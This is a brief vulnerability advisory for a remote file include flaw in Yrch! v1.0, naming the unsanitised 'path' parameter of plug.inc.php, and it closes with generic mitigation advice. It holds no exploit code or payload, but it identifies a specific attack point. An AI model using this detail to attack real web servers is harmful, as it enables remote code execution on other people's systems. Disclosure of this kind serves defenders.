Yrch! v1.0 Hierarchised Website Directories (plug.inc.php)Remote File Include Vulnerability

Yrch! v1.0 is vulnerable to a remote file include vulnerability. This vulnerability is due to a failure in the application to properly sanitize user-supplied input to the 'path' parameter of the 'plug.inc.php' script. This may allow a remote attacker to include a file from a remote host that contains arbitrary code and execute it in the context of the webserver process.

Mitigation:

Input validation should be used to ensure that untrusted input is rejected. Additionally, the application should be configured to use a minimal privilege account to access the web server.
